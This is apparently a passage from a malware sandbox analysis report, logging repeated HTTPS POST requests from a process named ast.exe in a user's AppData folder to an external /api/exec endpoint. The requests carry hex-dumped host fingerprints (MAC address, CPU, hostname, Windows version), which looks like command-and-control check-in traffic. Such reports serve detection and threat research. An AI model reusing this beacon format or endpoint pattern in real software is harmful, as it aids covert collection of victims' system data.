2e 30 2e Data Ascii: 1MEC-F4-BB-EA-15-88HS53687091200HVwssojcgffqnjHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c49f2ecd4606693965f234ed5a1HS05368709120064.5-2168650/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	50145	212.193.169.65	443	8036	C:\Users\user\AppData\Roaming\im\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:56:53 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 17:56:53 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 45 41 2d 31 35 2d 38 38 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 77 73 73 6f 6a 63 67 66 66 71 6e 6a 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 34 39 66 32 65 63 64 34 36 30 36 36 39 33 39 36 35 66 32 33 34 65 64 35 61 31 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 32 31 36 38 36 35 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1MEC-F4-BB-EA-15-88HS53687091200HVwssojcgffqnjHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c49f2ecd4606693965f234ed5a1HS05368709120064.5-2168650/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	50148	212.193.169.65	443	8036	C:\Users\user\AppData\Roaming\im\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:56:54 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 17:56:54 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 45 41 2d 31 35 2d 38 38 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 77 73 73 6f 6a 63 67 66 66 71 6e 6a 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 34 39 66 32 65 63 64 34 36 30 36 36 39 33 39 36 35 66 32 33 34 65 64 35 61 31 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 32 31 36 38 36 35 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1MEC-F4-BB-EA-15-88HS53687091200HVwssojcgffqnjHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c49f2ecd4606693965f234ed5a1HS05368709120064.5-2168650/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	50151	212.193.169.65	443	8036	C:\Users\user\AppData\Roaming\im\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:56:55 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 17:56:55 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 45 41 2d 31 35 2d 38 38 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 77 73 73 6f 6a 63 67 66 66 71 6e 6a 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 34 39 66 32 65 63 64 34 36 30 36 36 39 33 39 36 35 66 32 33 34 65 64 35 61 31 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 32 31 36 38 36 35 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1MEC-F4-BB-EA-15-88HS53687091200HVwssojcgffqnjHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c49f2ecd4606693965f234ed5a1HS05368709120064.5-2168650/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	50154	212.193.169.65	443	8036	C:\Users\user\AppData\Roaming\im\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:56:56 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 17:56:56 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 45 41 2d 31 35 2d 38 38 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 77 73 73 6f 6a 63 67 66 66 71 6e 6a 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 34 39 66 32 65 63 64 34 36 30 36 36 39 33 39 36 35 66 32 33 34 65 64 35 61 31 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 32 31 36 38 36 35 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1MEC-F4-BB-EA-15-88HS53687091200HVwssojcgffqnjHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c49f2ecd4606693965f234ed5a1HS05368709120064.5-2168650/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	50157	212.193.169.65	443	8036	C:\Users\user\AppData\Roaming\im\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:56:57 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 17:56:57 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 45 41 2d 31 35 2d 38 38 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 77 73 73 6f 6a 63 67 66 66 71 6e 6a 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 34 39 66 32 65 63 64 34 36 30 36 36 39 33 39 36 35 66 32 33 34 65 64 35 61 31 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 32 31 36 38 36 35 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1MEC-F4-BB-EA-15-88HS53687091200HVwssojcgffqnjHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c49f2ecd4606693965f234ed5a1HS05368709120064.5-2168650/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	50160	212.193.169.65	443	8036	C:\Users\user\AppData\Roaming\im\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:56:58 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 17:56:58 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 45 41 2d 31 35 2d 38 38 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 77 73 73 6f 6a 63 67 66 66 71 6e 6a 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 34 39 66 32 65 63 64 34 36 30 36 36 39 33 39 36 35 66 32 33 34 65 64 35 61 31 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 32 31 36 38 36 35 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1MEC-F4-BB-EA-15-88HS53687091200HVwssojcgffqnjHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c49f2ecd4606693965f234ed5a1HS05368709120064.5-2168650/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	50163	212.193.169.65	443	8036	C:\Users\user\AppData\Roaming\im\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:56:59 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 17:56:59 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 45 41 2d 31 35 2d 38 38 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 77 73 73 6f 6a 63 67 66 66 71 6e 6a 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 34 39 66 32 65 63 64 34 36 30 36 36 39 33 39 36 35 66 32 33 34 65 64 35 61 31 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 32 31 36 38 36 35 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1MEC-F4-BB-EA-15-88HS53687091200HVwssojcgffqnjHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c49f2ecd4606693965f234ed5a1HS05368709120064.5-2168650/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	50166	212.193.169.65	443	8036	C:\Users\user\AppData\Roaming\im\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:57:00 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 17:57:00 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 45 41 2d 31 35 2d 38 38 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 77 73 73 6f 6a 63 67 66 66 71 6e 6a 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 34 39 66 32 65 63 64 34 36 30 36 36 39 33 39 36 35 66 32 33 34 65 64 35 61 31 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 32 31 36 38 36 35 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1MEC-F4-BB-EA-15-88HS53687091200HVwssojcgffqnjHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c49f2ecd4606693965f234ed5a1HS05368709120064.5-2168650/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	50169	212.193.169.65	443	8036	C:\Users\user\AppData\Roaming\im\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:57:01 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 17:57:01 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 45 41 2d 31 35 2d 38 38 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 77 73 73 6f 6a 63 67 66 66 71 6e 6a 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 34 39 66 32 65 63 64 34 36 30 36 36 39 33 39 36 35 66 32 33 34 65 64 35 61 31 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 32 31 36 38 36 35 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1MEC-F4-BB-EA-15-88HS53687091200HVwssojcgffqnjHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c49f2ecd4606693965f234ed5a1HS05368709120064.5-2168650/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	50172	212.193.169.65	443	8036	C:\Users\user\AppData\Roaming\im\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:57:02 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 17:57:02 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 45 41 2d 31 35 2d 38 38 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 77 73 73 6f 6a 63 67 66 66 71 6e 6a 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 34 39 66 32 65 63 64 34 36 30 36 36 39 33 39 36 35 66 32 33 34 65 64 35 61 31 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 32 31 36 38 36 35 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1MEC-F4-BB-EA-15-88HS53687091200HVwssojcgffqnjHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c49f2ecd4606693965f234ed5a1HS05368709120064.5-2168650/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	50175	212.193.169.65	443	8036	C:\Users\user\AppData\Roaming\im\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:57:03 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 17:57:03 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 45 41 2d 31 35 2d 38 38 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 77 73 73 6f 6a 63 67 66 66 71 6e 6a 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 34 39 66 32 65 63 64 34 36 30 36 36 39 33 39 36 35 66 32 33 34 65 64 35 61 31 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 32 31 36 38 36 35 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1MEC-F4-BB-EA-15-88HS53687091200HVwssojcgffqnjHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c49f2ecd4606693965f234ed5a1HS05368709120064.5-2168650/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	50178	212.193.169.65	443	8036	C:\Users\user\AppData\Roaming\im\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:57:04 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 17:57:04 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 45 41 2d 31 35 2d 38 38 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 77 73 73 6f 6a 63 67 66 66 71 6e 6a 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 34 39 66 32 65 63 64 34 36 30 36 36 39 33 39 36 35 66 32 33 34 65 64 35 61 31 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 32 31 36 38 36 35 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1MEC-F4-BB-EA-15-88HS53687091200HVwssojcgffqnjHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c49f2ecd4606693965f234ed5a1HS05368709120064.5-2168650/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	50181	212.193.169.65	443	8036	C:\Users\user\AppData\Roaming\im\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:57:05 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 17:57:05 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 45 41 2d 31 35 2d 38 38 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 77 73 73 6f 6a 63 67 66 66 71 6e 6a 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 34 39 66 32 65 63 64 34 36 30 36 36 39 33 39 36 35 66 32 33 34 65 64 35 61 31 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 32 31 36 38 36 35 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1MEC-F4-BB-EA-15-88HS53687091200HVwssojcgffqnjHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c49f2ecd4606693965f234ed5a1HS05368709120064.5-2168650/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	50184	212.193.169.65	443	8036	C:\Users\user\AppData\Roaming\im\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:57:06 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 17:57:06 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 45 41 2d 31 35 2d 38 38 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 77 73 73 6f 6a 63 67 66 66 71 6e 6a 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 34 39 66 32 65 63 64 34 36 30 36 36 39 33 39 36 35 66 32 33 34 65 64 35 61 31 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 32 31 36 38 36 35 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1MEC-F4-BB-EA-15-88HS53687091200HVwssojcgffqnjHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c49f2ecd4606693965f234ed5a1HS05368709120064.5-2168650/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	50187	212.193.169.65	443	8036	C:\Users\user\AppData\Roaming\im\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:57:08 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 17:57:08 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 45 41 2d 31 35 2d 38 38 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 77 73 73 6f 6a 63 67 66 66 71 6e 6a 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 34 39 66 32 65 63 64 34 36 30 36 36 39 33 39 36 35 66 32 33 34 65 64 35 61 31 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 32 31 36 38 36 35 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1MEC-F4-BB-EA-15-88HS53687091200HVwssojcgffqnjHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c49f2ecd4606693965f234ed5a1HS05368709120064.5-2168650/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	50190	212.193.169.65	443	8036	C:\Users\user\AppData\Roaming\im\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:57:12 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
